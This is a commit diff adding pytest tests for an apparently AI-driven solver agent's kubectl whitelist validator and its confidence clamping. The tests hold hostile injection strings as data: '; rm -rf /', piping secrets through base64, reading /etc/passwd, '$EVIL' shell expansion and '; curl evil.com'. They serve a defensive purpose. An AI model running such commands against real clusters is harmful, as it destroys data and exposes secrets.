fix(solver): 補 import re（solver_agent 已有 re.compile 但漏 import）

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

apps/api/tests/agents/test_solver_agent.py

@@ -14,7 +14,7 @@ sys.path.insert(0, os.path.join(os.path.dirname(__file__), "../../"))
 
 import pytest
 
-from src.agents.solver_agent import _extract_candidates
+from src.agents.solver_agent import _extract_candidates, _is_safe_kubectl_command
 
 
 class TestExtractCandidatesNemoFormat:
@@ -157,3 +157,217 @@ class TestExtractCandidatesNemoFormat:
             assert result[0].blast_radius == expected_blast, (
                 f"risk_level={risk_level} → 期望 blast={expected_blast}，實際 {result[0].blast_radius}"
             )
+
+
+class TestShellMetacharacterBlocking:
+    """2026-04-24 Major #1 改版：白名單正則測試（取代原黑名單枚舉）"""
+
+    @pytest.mark.parametrize("malicious_cmd,desc", [
+        (
+            "kubectl rollout restart deployment/api -n awoooi-prod; rm -rf /",
+            "分號注入",
+        ),
+        (
+            "kubectl get secret -n awoooi-prod | base64 -d",
+            "pipe 注入",
+        ),
+        (
+            "kubectl get pods -n awoooi-prod `id`",
+            "反引號注入",
+        ),
+        (
+            "kubectl exec deployment/api -- sh -c $EVIL_CMD",
+            "$ 變數展開",
+        ),
+        (
+            "kubectl get pods -n awoooi-prod > /tmp/out",
+            "> 重定向",
+        ),
+        (
+            "kubectl get pods -n awoooi-prod < /etc/passwd",
+            "< 重定向",
+        ),
+    ])
+    def test_nemo_kubectl_command_invalid_regex_blocked(self, malicious_cmd, desc):
+        """Nemo 路徑：各類惡意 kubectl_command 均被白名單正則攔截"""
+        parsed = {
+            "action_title": "重啟服務",
+            "kubectl_command": malicious_cmd,
+            "confidence": 0.9,
+            "risk_level": "medium",
+        }
+        result = _extract_candidates(parsed)
+
+        # 惡意命令被阻擋 → fall-through → 語意合成 "重啟" → confidence 被壓到 0.5
+        assert len(result) == 1, f"{desc}: 期望 1 個結果（語意合成兜底）"
+        # 確認惡意片段未出現在最終 action 中
+        assert "rm -rf" not in result[0].action, f"{desc}: rm -rf 不應出現"
+        assert "base64" not in result[0].action, f"{desc}: base64 不應出現"
+        assert result[0].confidence == 0.5, f"{desc}: 語意合成路徑 confidence 必須被壓到 0.5"
+
+    def test_is_safe_kubectl_command_accepts_valid_commands(self):
+        """白名單 helper：合法 kubectl 命令應通過驗證"""
+        valid_cmds = [
+            "kubectl rollout restart deployment/awoooi-api -n awoooi-prod",
+            "kubectl scale deployment/awoooi-api --replicas=3 -n awoooi-prod",
+            "kubectl rollout undo deployment/awoooi-api -n awoooi-prod",
+            "kubectl get pods -n awoooi-prod -o wide",
+            "kubectl top pods -n awoooi-prod --sort-by=cpu",
+            "kubectl logs -n awoooi-prod --tail=100 --selector=app=awoooi-api",
+        ]
+        for cmd in valid_cmds:
+            assert _is_safe_kubectl_command(cmd), f"合法命令被誤拒：{cmd}"
+
+    def test_is_safe_kubectl_command_rejects_non_kubectl(self):
+        """白名單 helper：非 kubectl 開頭的命令拒絕"""
+        assert not _is_safe_kubectl_command("helm rollback awoooi-api")
+        assert not _is_safe_kubectl_command("rm -rf /")
+        assert not _is_safe_kubectl_command("")
+
+
+class TestConfidenceClampAndTypeError:
+    """2026-04-24 Major #3/#4：confidence clamp + type error 防禦測試"""
+
+    def test_confidence_clamp_above_1_0(self):
+        """confidence > 1.0 被 clamp 到 1.0，防 auto_approve 門檻被破壞"""
+        parsed = {
+            "action_title": "重啟服務",
+            "kubectl_command": "kubectl rollout restart deployment/api -n awoooi-prod",
+            "confidence": 1.5,
+            "risk_level": "medium",
+        }
+        result = _extract_candidates(parsed)
+
+        assert len(result) == 1
+        assert result[0].confidence == 1.0, f"期望 1.0（clamp），實際 {result[0].confidence}"
+
+    def test_confidence_clamp_below_0_0(self):
+        """confidence < 0.0 被 clamp 到 0.0"""
+        parsed = {
+            "action_title": "重啟服務",
+            "kubectl_command": "kubectl rollout restart deployment/api -n awoooi-prod",
+            "confidence": -0.3,
+            "risk_level": "medium",
+        }
+        result = _extract_candidates(parsed)
+
+        assert len(result) == 1
+        assert result[0].confidence == 0.0, f"期望 0.0（clamp），實際 {result[0].confidence}"
+
+    def test_confidence_non_numeric_string_fallback(self):
+        """confidence 為非數字字串（如 "high"）→ 預設 0.5"""
+        parsed = {
+            "action_title": "重啟服務",
+            "kubectl_command": "kubectl rollout restart deployment/api -n awoooi-prod",
+            "confidence": "high",
+            "risk_level": "medium",
+        }
+        result = _extract_candidates(parsed)
+
+        assert len(result) == 1
+        assert result[0].confidence == 0.5, f"期望 0.5（fallback），實際 {result[0].confidence}"
+
+    def test_confidence_none_type_fallback(self):
+        """confidence 為 None → 預設 0.5"""
+        parsed = {
+            "action_title": "重啟服務",
+            "kubectl_command": "kubectl rollout restart deployment/api -n awoooi-prod",
+            "confidence": None,
+            "risk_level": "medium",
+        }
+        result = _extract_candidates(parsed)
+
+        assert len(result) == 1
+        assert result[0].confidence == 0.5, f"期望 0.5（fallback），實際 {result[0].confidence}"
+
+
+class TestStandardCandidatesPathSafety:
+    """2026-04-24 Major #2：標準 candidates 路徑白名單防護測試"""
+
+    def test_standard_path_action_unsafe_blocked(self):
+        """標準路徑：含 shell 元字符的 action 被跳過，不加入 candidates"""
+        parsed = {
+            "candidates": [
+                {
+                    "action": "kubectl rollout restart deployment/api -n awoooi-prod; curl evil.com",
+                    "blast_radius": 10,
+                    "rollback_cost": 5,
+                    "confidence": 0.85,
+                    "rationale": "惡意注入",
+                }
+            ]
+        }
+        result = _extract_candidates(parsed)
+
+        assert len(result) == 0, "含 shell 元字符的 action 不應加入 candidates"
+
+    def test_standard_path_safe_action_passes(self):
+        """標準路徑：合法 kubectl action 正常通過白名單"""
+        parsed = {
+            "candidates": [
+                {
+                    "action": "kubectl rollout restart deployment/awoooi-api -n awoooi-prod",
+                    "blast_radius": 10,
+                    "rollback_cost": 5,
+                    "confidence": 0.85,
+                    "rationale": "重啟修復 OOM",
+                }
+            ]
+        }
+        result = _extract_candidates(parsed)
+
+        assert len(result) == 1
+        assert result[0].confidence == 0.85
+        assert result[0].blast_radius == 10
+
+    def test_standard_path_mixed_safe_unsafe_candidates(self):
+        """標準路徑混合場景：5 個 candidates，2 個安全 3 個不安全，只回傳 2 個"""
+        parsed = {
+            "candidates": [
+                {
+                    "action": "kubectl rollout restart deployment/awoooi-api -n awoooi-prod",
+                    "blast_radius": 10,
+                    "rollback_cost": 5,
+                    "confidence": 0.9,
+                    "rationale": "安全 1",
+                },
+                {
+                    "action": "kubectl get pods -n awoooi-prod; rm -rf /",
+                    "blast_radius": 10,
+                    "rollback_cost": 5,
+                    "confidence": 0.8,
+                    "rationale": "不安全 1：分號注入",
+                },
+                {
+                    "action": "kubectl scale deployment/awoooi-api --replicas=2 -n awoooi-prod",
+                    "blast_radius": 15,
+                    "rollback_cost": 10,
+                    "confidence": 0.75,
+                    "rationale": "安全 2",
+                },
+                {
+                    "action": "kubectl exec deployment/api -- sh -c $EVIL",
+                    "blast_radius": 50,
+                    "rollback_cost": 30,
+                    "confidence": 0.7,
+                    "rationale": "不安全 2：$ 展開",
+                },
+                {
+                    "action": "kubectl get secrets -n awoooi-prod | base64 -d",
+                    "blast_radius": 5,
+                    "rollback_cost": 1,
+                    "confidence": 0.6,
+                    "rationale": "不安全 3：pipe",
+                },
+            ]
+        }
+        result = _extract_candidates(parsed)
+
+        assert len(result) == 2, f"期望 2 個安全 candidates，實際 {len(result)}"
+        # 結果按 confidence 降序排列
+        assert result[0].confidence == 0.9
+        assert result[1].confidence == 0.75
+        # 確認安全 candidates 的 action 內容正確
+        actions = [r.action for r in result]
+        assert "kubectl rollout restart deployment/awoooi-api -n awoooi-prod" in actions
+        assert "kubectl scale deployment/awoooi-api --replicas=2 -n awoooi-prod" in actions